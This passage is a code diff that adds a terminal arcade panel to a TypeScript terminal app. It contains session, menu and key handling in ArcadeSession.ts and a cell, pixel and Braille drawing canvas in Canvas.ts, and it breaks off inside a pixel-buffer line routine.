this.appearanceHub || this.keyboardState || this.startupPanel || this.aboutPanel || this.shellPanel || this.openPanel || this.askState || this.agentView || this.agentPanel || this.launcher || this.modsPanel || this.worktreePanel || this.githubPanel || this.providersOverview || this.understandingPanel || this.cursorPanel || this.doctorPanel || this.watchPanel || this.queuePanel || this.queueHistoryPanel || this.pasteReview || this.misePanel || this.keepAwakePanel); } @@ -5290,6 +5383,7 @@ export class TerminalApp { if (this.summaryReview) return renderReportReview(this.summaryReview.document, columns, this.dimensions().rows - 4); if (this.reportReview) return renderReportReview(this.reportReview, columns, this.dimensions().rows - 4); if (this.comparePanel) return renderComparePanel(this.comparePanel, columns, this.dimensions().rows - 4); + if (this.arcade) return this.arcade.session.render().rows; if (this.viewer) return renderViewer(this.viewer, columns, this.dimensions().rows - 4, this.viewerLook()); if (this.textEditor) return renderEditor(this.textEditor, columns, this.dimensions().rows - 4); if (this.background.panel) return framePanel(this.background.panelRows(Math.max(1, columns - 4), this.dimensions().rows - 4, @@ -9448,6 +9542,9 @@ export class TerminalApp { private pendingMixedBlock?: string; /** Reviewed commands offered one at a time in the composer (QA F02); `running`: the offered one was entered. */ private pasteSteps?: {items: string[]; next: number; running: boolean}; + /** The Vespyr Arcade panel: owns keys and frames while open, nothing else. */ + private arcade?: {session: ArcadeSession; stop?: () => void; interval: number; floor: number; last: number}; + private arcadeStore?: ArcadeStore; /** Short presentation transitions (launch, completion materialization, Block Seal, Semantic Echo, prompt morph). */ private readonly transitions = new Transitions(() => this.promptConfiguration.motion, () => ({reducedMotion: !this.decorativeMotionAllowed(), effectsOff: false, color: colorLevel() !== 'none'})); @@ -12828,6 +12925,7 @@ export class TerminalApp { this.stopped = true; this.endOutputNavigation(false); this.blockPaletteContext = undefined; + this.closeArcade(false); this.clips.clear(); this.clipboardChangeWatch?.stop(); this.clipboardChangeSuggested = false; this.contextEngine.dispose(); diff --git a/src/arcade/ArcadeSession.ts b/src/arcade/ArcadeSession.ts new file mode 100644 index 00000000..4a1f4264 --- /dev/null +++ b/src/arcade/ArcadeSession.ts @@ -0,0 +1,386 @@ +import {mixRgb} from '../chroma/chroma.js'; +import type {ColorLevel} from '../presentation/capabilities.js'; +import type {Key} from '../terminal/keys.js'; +import {renderControlRows} from '../ui/controls.js'; +import {GLYPHS} from '../ui/glyphs.js'; +import {framePanel} from '../ui/PanelShell.js'; +import {typeset} from '../ui/typography.js'; +import {displayWidth, truncateText} from '../util/text.js'; +import {Canvas, type TextOverlay} from './Canvas.js'; +import {FixedStep} from './loop.js'; +import {Menu} from './menu.js'; +import {arcadePalette, type ArcadePalette} from './palette.js'; +import {createRng} from './rng.js'; +import type {ArcadeStore} from './scores.js'; +import type {ControlHint, GameContext, GameDefinition, GameInstance, MotionPreferences} from './types.js'; + +/** + * One visit to the arcade: the hub, a running game, its pause menu and its game over screen, as a single panel that owns + * the keyboard and the animation frames while it is open and nothing else. It is the only code that talks to a game: + * games get keys, fixed steps and a canvas, and the session draws the frame, the footer and the menus around them. + * + * The session holds no timers. The app subscribes to the shared presentation clock for exactly as long as `interval` + * says frames are wanted (never while a game is paused or the hub is idle with reduced motion), calls `frame()` on each + * tick and `dispose()` when the panel closes, so nothing runs when the arcade is closed. + */ +export interface ArcadeEnvironment { + store: ArcadeStore; + now(): number; + motion(): MotionPreferences; + color(): ColorLevel; + safeGlyphs(): boolean; + /** A fresh seed for each run. */ + seed(): number; +} + +type Screen = 'hub' | 'playing' | 'paused' | 'over'; + +/** Ignore Retry-type keys this long after a game ends, so the mashing that lost the run cannot also restart it. */ +const OVER_GUARD_MS = 450; +const HUB_PREVIEW_MS = 100; + +export interface ArcadeFrame { + /** Panel rows (including the frame line), each at most `columns` wide. */ + rows: string[]; + /** Sized-text blocks, with positions relative to `rows`. */ + overlays: TextOverlay[]; +} + +export class ArcadeSession { + screen: Screen = 'hub'; + selected = 0; + game: GameInstance | undefined; + definition: GameDefinition | undefined; + private columns: number; + private rowsAvailable: number; + private canvas: Canvas | undefined; + private preview: Canvas | undefined; + private previewFrame = 0; + private previewClock = 0; + private readonly loop = new FixedStep(); + private alpha = 0; + private menu: Menu | undefined; + private overAt = 0; + private notice: string | undefined; + private disposed = false; + + constructor(private readonly env: ArcadeEnvironment, private readonly games: readonly GameDefinition[], size: {columns: number; rows: number}, open?: GameDefinition) { + this.columns = Math.max(1, size.columns); + this.rowsAvailable = Math.max(1, size.rows); + this.notice = env.store.recovered; + if (open) { this.selected = Math.max(0, games.indexOf(open)); this.start(open); } + } + + // ---- lifecycle ---------------------------------------------------------------------------------------------- + + private start(definition: GameDefinition): void { + this.game?.dispose(); + this.definition = definition; + const seed = this.env.seed(); + const context: GameContext = { + size: this.playfield(), seed, rng: createRng(seed), motion: this.env.motion(), color: this.env.color(), safeGlyphs: this.env.safeGlyphs(), + record: this.env.store.record(definition.id), now: () => this.env.now(), + }; + this.game = definition.create(context); + this.loop.reset(); + this.menu = undefined; + this.screen = 'playing'; + this.canvas = new Canvas(context.size.columns, context.size.rows); + } + + private leaveGame(): void { + if (this.game) { this.game.persist(); this.game.dispose(); } + this.game = undefined; + this.definition = undefined; + this.canvas = undefined; + this.menu = undefined; + this.screen = 'hub'; + this.env.store.flush(); + } + + /** Close the arcade: persist, release the game. Safe to call more than once. */ + dispose(): void { + if (this.disposed) return; + this.disposed = true; + this.leaveGame(); + this.env.store.flush(); + } + + // ---- geometry ----------------------------------------------------------------------------------------------- + + private footerRows(): number { return this.columns >= 90 ? 1 : 2; } + /** Cells for a game: the panel minus its frame line and footer. */ + private playfield(): {columns: number; rows: number} { + return {columns: this.columns, rows: Math.max(4, this.rowsAvailable - 1 - this.footerRows())}; + } + + resize(columns: number, rows: number): void { + this.columns = Math.max(1, columns); + this.rowsAvailable = Math.max(1, rows); + if (this.game) { + const size = this.playfield(); + this.canvas = new Canvas(size.columns, size.rows); + this.game.resize(size); + } + } + + /** A foreground app, a lost focus or a new command: the game stops where it is. */ + pause(): void { + if (this.screen === 'playing' && this.game) { this.game.pause(); this.showPause(); } + } + + get isPlaying(): boolean { return this.screen === 'playing'; } + + /** Milliseconds between frames the session wants right now; 0 when nothing animates. */ + get interval(): number { + const motion = this.env.motion(); + if (this.screen === 'hub') return motion.reduced ? 0 : HUB_PREVIEW_MS; + if (!this.game) return 0; + if (this.screen === 'playing') { + if (this.game.stepsPerSecond > 0 && this.game.status === 'playing') return 33; + return this.game.refreshMs || (motion.reduced ? 0 : 100); + } + return 0; + } + + /** Floor for the shared clock: action games ask for up to 60 frames per second, everything else keeps the default. */ + get floor(): number { return this.screen === 'playing' && this.game && this.game.stepsPerSecond > 0 && this.game.status === 'playing' ? 16 : 40; } + + // ---- frames ------------------------------------------------------------------------------------------------- + + frame(dtMs: number): void { + if (this.disposed) return; + if (this.screen === 'hub') { + this.previewClock += dtMs; + while (this.previewClock >= HUB_PREVIEW_MS) { this.previewClock -= HUB_PREVIEW_MS; this.previewFrame += 1; } + return; + } + const game = this.game; + if (!game || this.screen === 'paused') return; + game.animate(dtMs); + if (this.screen === 'playing' && game.status === 'playing' && game.stepsPerSecond > 0) { + this.alpha = this.loop.advance(dtMs, step => game.step(step)); + } + this.checkEnd(); + } + + private checkEnd(): void { + const game = this.game; + if (!game || this.screen !== 'playing') return; + if (game.status === 'over' || game.status === 'won') { + this.screen = 'over'; + this.overAt = this.env.now(); + this.menu = new Menu([ + {id: 'retry', label: game.status === 'won' ? 'Play again' : 'Retry', key: 'r'}, + {id: 'back', label: 'Back to Arcade', key: 'b'}, + {id: 'exit', label: 'Exit', key: 'x'}, + ]); + game.persist(); + this.env.store.flush(); + } + } + + // ---- keys --------------------------------------------------------------------------------------------------- + + key(key: Key): 'handled' | 'close' { + if (this.disposed) return 'close'; + if (key.kind === 'interrupt') return 'close'; + if (this.screen === 'hub') return this.hubKey(key); + if (this.screen === 'paused') return this.pausedKey(key); + if (this.screen === 'over') return this.overKey(key); + return this.playingKey(key); + } + + private hubKey(key: Key): 'handled' | 'close' { + this.notice = undefined; + const count = this.games.length; + if (key.kind === 'escape') return 'close'; + if (key.kind === 'up') this.selected = (this.selected + count - 1) % count; + else if (key.kind === 'down' || key.kind === 'complete') this.selected = (this.selected + 1) % count; + else if (key.kind === 'pageUp' || key.kind === 'lineHome') this.selected = 0; + else if (key.kind === 'pageDown' || key.kind === 'lineEnd') this.selected = count - 1; + else if (key.kind === 'enter') this.start(this.games[this.selected]!); + else if (key.kind === 'text') { + const value = key.value.toLowerCase(); + if (value === 'q') return 'close'; + if (value === 'k') this.selected = (this.selected + count - 1) % count; + else if (value === 'j') this.selected = (this.selected + 1) % count; + else if (value === ' ') this.start(this.games[this.selected]!); + else if (/^[1-9]$/u.test(value) && Number(value) <= count) this.selected = Number(value) - 1; + } + return 'handled'; + } + + private playingKey(key: Key): 'handled' | 'close' { + const game = this.game!; + // Esc pauses a running game and leaves a game that has not started; every other key belongs to the game. + if (key.kind === 'escape' && game.status === 'playing') { game.pause(); this.showPause(); return 'handled'; } + if (key.kind === 'text' && key.value.toLowerCase() === 'p' && game.status === 'playing' && game.stepsPerSecond > 0) { game.pause(); this.showPause(); return 'handled'; } + const outcome = game.key(key); + if (outcome === 'exit') return 'close'; + if (outcome === 'back' || (key.kind === 'escape' && outcome === 'ignored')) { this.leaveGame(); return 'handled'; } + this.checkEnd(); + return 'handled'; + } + + private showPause(): void { + this.screen = 'paused'; + this.menu = new Menu([ + {id: 'resume', label: 'Resume', key: 'c'}, + {id: 'restart', label: 'Restart', key: 'r'}, + {id: 'back', label: 'Back to Arcade', key: 'b'}, + {id: 'exit', label: 'Exit', key: 'x'}, + ]); + } + + private pausedKey(key: Key): 'handled' | 'close' { + if (key.kind === 'escape') { this.screen = 'playing'; this.menu = undefined; this.loop.reset(); return 'handled'; } + return this.choose(this.menu!.key(key)); + } + + private overKey(key: Key): 'handled' | 'close' { + if (this.env.now() - this.overAt < OVER_GUARD_MS && key.kind !== 'escape') return 'handled'; + if (key.kind === 'escape') { this.leaveGame(); return 'handled'; } + return this.choose(this.menu!.key(key)); + } + + private choose(id: string | undefined): 'handled' | 'close' { + if (id === 'resume') { this.screen = 'playing'; this.menu = undefined; this.loop.reset(); } + else if (id === 'restart' || id === 'retry') this.start(this.definition!); + else if (id === 'back') this.leaveGame(); + else if (id === 'exit') return 'close'; + return 'handled'; + } + + // ---- drawing ------------------------------------------------------------------------------------------------ + + render(): ArcadeFrame { + const palette = arcadePalette(); + const encode = {color: this.env.color(), safe: this.env.safeGlyphs()}; + let body: string[]; + let overlays: TextOverlay[] = []; + let hints: readonly ControlHint[]; + if (this.screen === 'hub' || !this.game || !this.canvas) { + body = this.hubRows(palette, encode); + hints = [{keys: '↑↓', action: 'choose'}, {keys: 'Enter', action: 'play'}, {keys: '1-5', action: 'jump'}, {keys: 'Esc', action: 'close'}]; + } else { + this.game.render(this.canvas, this.alpha, palette); + if (this.screen === 'paused') this.drawCard(this.canvas, palette, 'Paused', [], this.menu!); + else if (this.screen === 'over') this.drawOver(this.canvas, palette); + body = this.canvas.rows(encode); + overlays = this.canvas.overlays.map(block => ({...block, y: block.y + 1})); + hints = this.screen === 'playing' ? this.game.hints() : [{keys: '↑↓', action: 'choose'}, {keys: 'Enter', action: 'select'}, {keys: 'Esc', action: this.screen === 'paused' ? 'resume' : 'arcade'}]; + } + const footer = renderControlRows(hints.map(hint => [hint.keys, hint.action] as const), this.columns).slice(0, this.footerRows()); + while (footer.length < this.footerRows()) footer.push(''); + const rows = framePanel([...body, ...footer.map(row => ` ${row}`)], this.columns); + return {rows: rows.slice(0, this.rowsAvailable), overlays}; + } + + private hubRows(palette: ArcadePalette, encode: {color: ColorLevel; safe: boolean}): string[] { + const width = this.columns; + const height = Math.max(4, this.rowsAvailable - 1 - this.footerRows()); + const canvas = new Canvas(width, height); + const wide = width >= 72 && height >= 12; + const listWidth = wide ? Math.min(34, Math.floor(width * 0.45)) : width; + const title = typeset({role: 'title', text: 'Vespyr Arcade', maxColumns: Math.max(10, width - 4), maxRows: 2}); + canvas.typeBlock(title, 2, 0, {fg: palette.ink, bold: true}); + let y = title.rows; + canvas.text(2, y, this.notice ? truncateText(this.notice, width - 4) : `${this.games.length} games · local scores, no accounts`, {fg: this.notice ? palette.warn : palette.faint}); + y += 2; + const rowsPerGame = height - y >= this.games.length * 2 ? 2 : 1; + this.games.forEach((game, index) => { + const row = y + index * rowsPerGame; + if (row >= height) return; + const selected = index === this.selected; + const style = selected ? {fg: palette.ink, bg: mixRgb(palette.selection, palette.deep, 0.15), bold: true} : {fg: palette.muted}; + canvas.fill(0, row, listWidth, 1, ' ', style); + canvas.text(1, row, selected ? GLYPHS.selection : ' ', {...style, fg: palette.accent}); + canvas.text(3, row, `${index + 1}`, {...style, fg: palette.faint, bold: false}); + canvas.text(6, row, truncateText(game.title, listWidth - 8), style); + if (rowsPerGame === 2 && row + 1 < height) { + const best = game.summary(this.env.store.record(game.id).get()); + canvas.text(6, row + 1, truncateText(best, listWidth - 8), {fg: palette.faint}); + } + }); + const chosen = this.games[this.selected]; + if (chosen) { + const detailY = y + this.games.length * rowsPerGame + 1; + if (wide) { + const px = listWidth + 3; + const pw = width - px - 2; + const ph = Math.min(Math.max(4, Math.floor(height * 0.45)), height - 6); + if (pw >= 16 && ph >= 3) { + this.preview = this.preview?.width === pw && this.preview.height === ph ? this.preview : new Canvas(pw, ph); + this.preview.clear(palette.deep); + chosen.preview(this.preview, this.previewFrame, palette); + for (let row = 0; row < ph; row += 1) for (let column = 0; column < pw; column += 1) { + const cell = this.preview.cell(column, row)!; + canvas.put(px + column, 1 + row, cell.ch || ' ', {fg: cell.fg, bg: cell.bg}); + } + this.describe(canvas, palette, chosen, px, 2 + ph, pw, height); + } + } else if (detailY < height) { + this.describe(canvas, palette, chosen, 2, detailY, width - 4, height); + } + } + return canvas.rows(encode); + } + + private describe(canvas: Canvas, palette: ArcadePalette, game: GameDefinition, x: number, y: number, width: number, height: number): void { + let row = y; + const say = (text: string, style: {fg: typeof palette.ink; bold?: boolean}) => { + for (const line of wrap(text, width)) { if (row >= height) return; canvas.text(x, row, line, style); row += 1; } + }; + say(game.tagline, {fg: palette.accent, bold: true}); + say(game.description, {fg: palette.muted}); + row += 1; + say(game.controls.map(control => `${control.keys} ${control.action}`).join(' · '), {fg: palette.faint}); + say(game.summary(this.env.store.record(game.id).get()), {fg: palette.ink}); + } + + /** A centered card over the playfield: heading, optional lines, and the menu. */ + private drawCard(canvas: Canvas, palette: ArcadePalette, heading: string, lines: readonly string[], menu: Menu, headline?: ReturnType): void { + const contentWidth = Math.max(displayWidth(heading), ...lines.map(line => displayWidth(line)), ...menu.items.map(item => displayWidth(item.label) + 6), headline?.columns ?? 0); + const cardWidth = Math.min(canvas.width - 2, contentWidth + 6); + const headRows = headline ? headline.rows : 1; + const cardHeight = Math.min(canvas.height - 1, 2 + headRows + (lines.length ? lines.length + 1 : 0) + 1 + menu.items.length + 1); + const left = Math.max(0, Math.floor((canvas.width - cardWidth) / 2)); + const top = Math.max(0, Math.floor((canvas.height - cardHeight) / 2)); + const panel = {fg: palette.ink, bg: mixRgb(palette.deep, palette.dusk, 0.35)}; + canvas.fill(left, top, cardWidth, cardHeight, ' ', panel); + canvas.hline(left, top, cardWidth, GLYPHS.separator, {...panel, fg: palette.line}); + canvas.hline(left, top + cardHeight - 1, cardWidth, GLYPHS.separator, {...panel, fg: palette.line}); + let y = top + 1; + if (headline) { canvas.typeBlock(headline, left + Math.max(1, Math.floor((cardWidth - headline.columns) / 2)), y, {...panel, bold: true}); y += headline.rows; } + else { canvas.text(left + Math.max(1, Math.floor((cardWidth - displayWidth(heading)) / 2)), y, heading, {...panel, bold: true}); y += 1; } + if (lines.length) { + y += 0; + for (const line of lines) { canvas.text(left + Math.max(1, Math.floor((cardWidth - displayWidth(line)) / 2)), y, line, {...panel, fg: palette.muted}); y += 1; } + y += 1; + } + menu.draw(canvas, palette, left, y, cardWidth); + } + + private drawOver(canvas: Canvas, palette: ArcadePalette): void { + const game = this.game!; + const result = game.result; + const won = game.status === 'won'; + const heading = result?.record ? 'New record' : won ? 'Well done' : 'Game over'; + const headline = typeset({role: 'celebration', text: heading, maxColumns: Math.max(8, canvas.width - 8), maxRows: Math.max(1, Math.floor(canvas.height / 4))}); + const lines = result ? [result.scoreText, ...result.details] : []; + this.drawCard(canvas, palette, heading, lines, this.menu!, headline); + } +} + +/** Words wrapped to `width` cells. */ +export function wrap(text: string, width: number): string[] { + const rows: string[] = []; + let row = ''; + for (const word of text.split(' ')) { + if (row && displayWidth(row) + 1 + displayWidth(word) > width) { rows.push(row); row = word; } + else row = row ? `${row} ${word}` : word; + } + if (row) rows.push(row); + return rows.map(item => truncateText(item, Math.max(1, width))); +} diff --git a/src/arcade/Canvas.ts b/src/arcade/Canvas.ts new file mode 100644 index 00000000..060c0860 --- /dev/null +++ b/src/arcade/Canvas.ts @@ -0,0 +1,414 @@ +import {colorEscape, type Rgb} from '../chroma/escape.js'; +import type {ColorLevel} from '../presentation/capabilities.js'; +import {displayWidth} from '../util/text.js'; +import type {TypeBlock} from '../ui/typography.js'; + +/** + * The arcade's drawing surface: a grid of terminal cells, plus two sub-cell layers for sprites and scenery. + * + * - Cells hold one glyph, a foreground, a background and a few attributes. Text, HUD and frames are drawn here. + * - A `PixelBuffer` is a grid with two pixels per cell vertically (half blocks ▀ ▄ █). It is how a cat, a mountain or a + * particle gets real resolution on any truecolor terminal, with no graphics protocol and no latency. + * - A `BrailleBuffer` is two by four dots per cell, for thin lines, trails and sparks. + * + * `rows()` encodes the canvas as styled strings for the panel. Encoding honours the terminal's color level (none, + * 16, 256, truecolor) and Safe Glyphs: without color a pixel is a solid glyph, in Safe mode only ASCII is written. + * Rows are cached and re-encoded only when a cell in them changed, so a mostly static frame costs almost nothing. + */ +export interface Style { + fg?: Rgb | undefined; + bg?: Rgb | undefined; + bold?: boolean; + dim?: boolean; + italic?: boolean; + underline?: boolean; + reverse?: boolean; +} + +const BOLD = 1; +const DIM = 2; +const ITALIC = 4; +const UNDERLINE = 8; +const REVERSE = 16; +const RESET = '\u001b[0m'; + +export interface EncodeOptions { + color: ColorLevel; + /** Safe Glyphs: ASCII only. */ + safe: boolean; +} + +export const DEFAULT_ENCODING: EncodeOptions = {color: 'truecolor', safe: false}; + +/** A block of cells the shared typography service filled with text at a larger relative size (see ui/typography). */ +export interface TextOverlay { + /** Canvas-relative cell box the sized text occupies; its cells are blank in the canvas. */ + x: number; + y: number; + columns: number; + rows: number; + /** The escape that draws the block when the cursor is at its top-left cell. */ + sequence: string; +} + +export class Canvas { + readonly width: number; + readonly height: number; + private chars: string[]; + private fg: Array; + private bg: Array; + private attrs: Uint16Array; + private versions: Uint32Array; + private cache: Array<{version: number; key: string; row: string} | undefined>; + /** Sized-text blocks added this frame (the host places them after the rows are written). */ + readonly overlays: TextOverlay[] = []; + + constructor(width: number, height: number) { + this.width = Math.max(0, Math.floor(width)); + this.height = Math.max(0, Math.floor(height)); + const size = this.width * this.height; + this.chars = new Array(size).fill(' '); + this.fg = new Array(size).fill(undefined); + this.bg = new Array(size).fill(undefined); + this.attrs = new Uint16Array(size); + this.versions = new Uint32Array(this.height).fill(1); + this.cache = new Array(this.height).fill(undefined); + } + + private touch(y: number): void { this.versions[y] = (this.versions[y]! + 1) >>> 0; } + inside(x: number, y: number): boolean { return x >= 0 && y >= 0 && x < this.width && y < this.height; } + + /** Blank every cell (to `bg` when given) and forget this frame's overlays. */ + clear(bg?: Rgb): void { + this.overlays.length = 0; + for (let y = 0; y < this.height; y += 1) { + let changed = false; + for (let x = 0; x < this.width; x += 1) { + const index = y * this.width + x; + if (this.chars[index] !== ' ' || this.fg[index] !== undefined || this.bg[index] !== bg || this.attrs[index] !== 0) { + this.chars[index] = ' '; this.fg[index] = undefined; this.bg[index] = bg; this.attrs[index] = 0; changed = true; + } + } + if (changed) this.touch(y); + } + } + + private pack(style: Style): number { + return (style.bold ? BOLD : 0) | (style.dim ? DIM : 0) | (style.italic ? ITALIC : 0) | (style.underline ? UNDERLINE : 0) | (style.reverse ? REVERSE : 0); + } + + /** One cell. An empty `ch` marks the right half of a double-width glyph written to its left. */ + put(x: number, y: number, ch: string, style: Style = {}): void { + if (!this.inside(x, y)) return; + const index = y * this.width + x; + const bg = style.bg ?? this.bg[index]; + const attrs = this.pack(style); + if (this.chars[index] === ch && this.fg[index] === style.fg && this.bg[index] === bg && this.attrs[index] === attrs) return; + this.chars[index] = ch; this.fg[index] = style.fg; this.bg[index] = bg; this.attrs[index] = attrs; + this.touch(y); + } + + /** Keep a cell's glyph and attributes and change only its colors (highlights over a drawn cell). */ + tint(x: number, y: number, style: Pick): void { + if (!this.inside(x, y)) return; + const index = y * this.width + x; + const fg = style.fg ?? this.fg[index]; + const bg = style.bg ?? this.bg[index]; + if (this.fg[index] === fg && this.bg[index] === bg) return; + this.fg[index] = fg; this.bg[index] = bg; + this.touch(y); + } + + /** The cell at x, y, or undefined outside. */ + cell(x: number, y: number): {ch: string; fg: Rgb | undefined; bg: Rgb | undefined} | undefined { + if (!this.inside(x, y)) return undefined; + const index = y * this.width + x; + return {ch: this.chars[index]!, fg: this.fg[index], bg: this.bg[index]}; + } + + /** Text from x, clipped to the canvas; returns the cells written. Zero-width characters ride on the previous cell. */ + text(x: number, y: number, value: string, style: Style = {}): number { + if (y < 0 || y >= this.height) return 0; + let column = x; + for (const glyph of new Intl.Segmenter(undefined, {granularity: 'grapheme'}).segment(value)) { + const cells = Math.max(0, displayWidth(glyph.segment)); + if (cells === 0) continue; + if (column >= this.width) break; + if (column >= 0) { + if (cells === 2 && column + 1 >= this.width) break; + this.put(column, y, glyph.segment, style); + if (cells === 2) this.put(column + 1, y, '', style); + } + column += cells; + } + return column - x; + } + + /** Text centered on a row of `width` cells starting at x (the whole canvas by default). */ + center(y: number, value: string, style: Style = {}, x = 0, width = this.width): void { + const cells = displayWidth(value); + this.text(x + Math.max(0, Math.floor((width - cells) / 2)), y, value, style); + } + + fill(x: number, y: number, width: number, height: number, ch = ' ', style: Style = {}): void { + for (let row = y; row < y + height; row += 1) for (let column = x; column < x + width; column += 1) this.put(column, row, ch, style); + } + + hline(x: number, y: number, length: number, ch: string, style: Style = {}): void { for (let index = 0; index < length; index += 1) this.put(x + index, y, ch, style); } + vline(x: number, y: number, length: number, ch: string, style: Style = {}): void { for (let index = 0; index < length; index += 1) this.put(x, y + index, ch, style); } + + /** Draw a pixel layer (two pixels per cell vertically) with its top-left cell at x, y. Transparent pixels keep the cell. */ + blit(buffer: PixelBuffer, x = 0, y = 0): void { + const rows = Math.ceil(buffer.height / 2); + for (let row = 0; row < rows; row += 1) { + for (let column = 0; column < buffer.width; column += 1) { + const top = buffer.get(column, row * 2); + const bottom = buffer.get(column, row * 2 + 1); + if (!top && !bottom) continue; + const cx = x + column; + const cy = y + row; + if (!this.inside(cx, cy)) continue; + const base = this.bg[cy * this.width + cx]; + if (top && bottom) { + this.cellPixels(cx, cy, top, bottom); + } else if (top) { + this.cellPixels(cx, cy, top, undefined, base); + } else { + this.cellPixels(cx, cy, undefined, bottom, base); + } + } + } + } + + /** A cell showing two stacked pixels: top (▀) over bottom, with `base` where one half is empty. */ + private cellPixels(x: number, y: number, top: Rgb | undefined, bottom: Rgb | undefined, base?: Rgb): void { + const index = y * this.width + x; + // The glyph carries which halves are lit even when colors cannot be shown; see encode(). + if (top && bottom) { + this.chars[index] = '▀'; this.fg[index] = top; this.bg[index] = bottom; this.attrs[index] = PIXEL_BOTH; + } else if (top) { + this.chars[index] = '▀'; this.fg[index] = top; this.bg[index] = base; this.attrs[index] = PIXEL_TOP; + } else { + this.chars[index] = '▄'; this.fg[index] = bottom; this.bg[index] = base; this.attrs[index] = PIXEL_BOTTOM; + } + this.touch(y); + } + + /** Draw a Braille layer (2 x 4 dots per cell) with one color per lit cell. */ + blitBraille(buffer: BrailleBuffer, x = 0, y = 0): void { + for (let row = 0; row < buffer.rows; row += 1) { + for (let column = 0; column < buffer.columns; column += 1) { + const dots = buffer.dots(column, row); + if (!dots) continue; + const cx = x + column; + const cy = y + row; + if (!this.inside(cx, cy)) continue; + const index = cy * this.width + cx; + this.chars[index] = String.fromCodePoint(0x2800 + dots); + this.fg[index] = buffer.color(column, row); + this.attrs[index] = BRAILLE; + this.touch(cy); + } + } + } + + /** + * A typography block at x, y: scaled when the block carries a sized form (drawn by the host over blank cells), + * otherwise its plain rows in `style`. Never draws a sized block that does not fit inside the canvas. + */ + typeBlock(block: TypeBlock, x: number, y: number, style: Style = {}): void { + if (block.sized && x >= 0 && y >= 0 && x + block.sized.columns <= this.width && y + block.sized.rows <= this.height) { + this.overlay({x, y, columns: block.sized.columns, rows: block.sized.rows, sequence: block.sized.sequence}); + return; + } + block.plain.forEach((row, index) => this.text(x, y + index, row, style)); + } + + /** Add a sized-text block: its cells are blanked and the host draws `sequence` at its top-left cell. */ + overlay(block: TextOverlay): void { + this.fill(block.x, block.y, block.columns, block.rows, ' '); + this.overlays.push(block); + } + + /** One encoded string per row, each at most `width` cells and reset at the end. */ + rows(options: EncodeOptions = DEFAULT_ENCODING): string[] { + const key = `${options.color}:${options.safe ? 's' : 'r'}`; + const out: string[] = []; + for (let y = 0; y < this.height; y += 1) { + const cached = this.cache[y]; + if (cached && cached.version === this.versions[y] && cached.key === key) { out.push(cached.row); continue; } + const row = this.encodeRow(y, options); + this.cache[y] = {version: this.versions[y]!, key, row}; + out.push(row); + } + return out; + } + + /** Rows as plain text (no escapes), for tests and screenshots. */ + plain(options: EncodeOptions = {color: 'none', safe: false}): string[] { + return this.rows(options).map(row => row.replace(/\u001b\[[0-9;]*m/gu, '')); + } + + private encodeRow(y: number, options: EncodeOptions): string { + let out = ''; + let current = ''; + const none = options.color === 'none'; + for (let x = 0; x < this.width; x += 1) { + const index = y * this.width + x; + let ch = this.chars[index]!; + if (ch === '' ) continue; + const attr = this.attrs[index]!; + let fg = this.fg[index]; + let bg = this.bg[index]; + let flags = attr & (BOLD | DIM | ITALIC | UNDERLINE | REVERSE); + if (attr & (PIXEL_TOP | PIXEL_BOTTOM | PIXEL_BOTH | BRAILLE)) { + ({ch, fg, bg} = this.degrade(attr, ch, fg, bg, options)); + if (none) flags &= ~REVERSE; + } else if (options.safe && /[^\x20-\x7e]/u.test(ch)) ch = safeGlyph(ch); + let style = ''; + if (flags & BOLD) style += '\u001b[1m'; + if (flags & DIM) style += '\u001b[2m'; + if (flags & ITALIC) style += '\u001b[3m'; + if (flags & UNDERLINE) style += '\u001b[4m'; + if (flags & REVERSE) style += '\u001b[7m'; + if (!none) { + if (fg) style += colorEscape(38, fg, options.color); + if (bg) style += colorEscape(48, bg, options.color); + } + if (style !== current) { out += current ? RESET : ''; out += style; current = style; } + out += ch; + } + return current ? out + RESET : out; + } + + /** Pixel and Braille cells where color or Unicode is missing: a lit half is a solid glyph, in Safe mode ASCII. */ + private degrade(attr: number, ch: string, fg: Rgb | undefined, bg: Rgb | undefined, options: EncodeOptions): {ch: string; fg: Rgb | undefined; bg: Rgb | undefined} { + if (attr & BRAILLE) { + if (options.safe) return {ch: '.', fg, bg}; + return {ch, fg, bg}; + } + const none = options.color === 'none'; + if (options.safe) { + const safe = attr & PIXEL_BOTH ? '#' : attr & PIXEL_TOP ? '"' : ','; + return {ch: safe, fg, bg}; + } + if (none) return {ch: attr & PIXEL_BOTH ? '█' : ch, fg: undefined, bg: undefined}; + return {ch, fg, bg}; + } +} + +const PIXEL_TOP = 32; +const PIXEL_BOTTOM = 64; +const PIXEL_BOTH = 128; +const BRAILLE = 256; + +/** Replace common Unicode glyphs with an ASCII stand-in for Safe Glyphs. */ +export function safeGlyph(ch: string): string { + const map: Record = {'─': '-', '│': '|', '┌': '+', '┐': '+', '└': '+', '┘': '+', '├': '+', '┤': '+', '┬': '+', '┴': '+', '┼': '+', '═': '=', '║': '|', '╔': '+', '╗': '+', '╚': '+', '╝': '+', + '█': '#', '▓': '#', '▒': ':', '░': '.', '▀': '"', '▄': ',', '●': 'o', '○': 'o', '·': '.', '•': '*', '★': '*', '✦': '*', '✧': '*', '♥': '<3', '▲': '^', '▼': 'v', '◀': '<', '▶': '>', '→': '>', '←': '<', '↑': '^', '↓': 'v', '…': '.', '✔': '+', '✘': 'x', '×': 'x', '▪': '#', '■': '#', '□': 'o', '◆': '*', '◇': 'o'}; + return (map[ch] ?? '?').slice(0, 1); +} + +/** + * A pixel grid, `width` pixels by `height` pixels, with two pixels per terminal cell vertically. Drawing is clipped. + * Sprites are authored as small string grids (see `spriteFromRows`). + */ +export class PixelBuffer { + private readonly data: Array; + constructor(readonly width: number, readonly height: number) { + this.data = new Array(Math.max(0, width * height)).fill(undefined); + } + get(x: number, y: number): Rgb | undefined { + return x < 0 || y < 0 || x >= this.width || y >= this.height ? undefined : this.data[y * this.width + x]; + } + set(x: number, y: number, color: Rgb | undefined): void { + const px = Math.round(x); + const py = Math.round(y); + if (px < 0 || py < 0 || px >= this.width || py >= this.height) return; + this.data[py * this.width + px] = color; + } + clear(): void { this.data.fill(undefined); } + rect(x: number, y: number, width: number, height: number, color: Rgb): void { + for (let row = 0; row < height; row += 1) for (let column = 0; column < width; column += 1) this.set(x + column, y + row, color); + } + /** A filled ellipse inside the box (x, y, width, height). */ + ellipse(x: number, y: number, width: number, height: number, color: Rgb): void { + const rx = width / 2; + const ry = height / 2; + for (let row = 0; row < height; row += 1) { + for (let column = 0; column < width; column += 1) { + const dx = (column + 0.5 - rx) / rx; + const dy = (row + 0.5 - ry) / ry; + if (dx * dx + dy * dy <= 1) this.set(x + column, y + row, color); + } + } + } + line(x0: number, y0: number, x1: number, y1: number, color: Rgb): void { + let x = 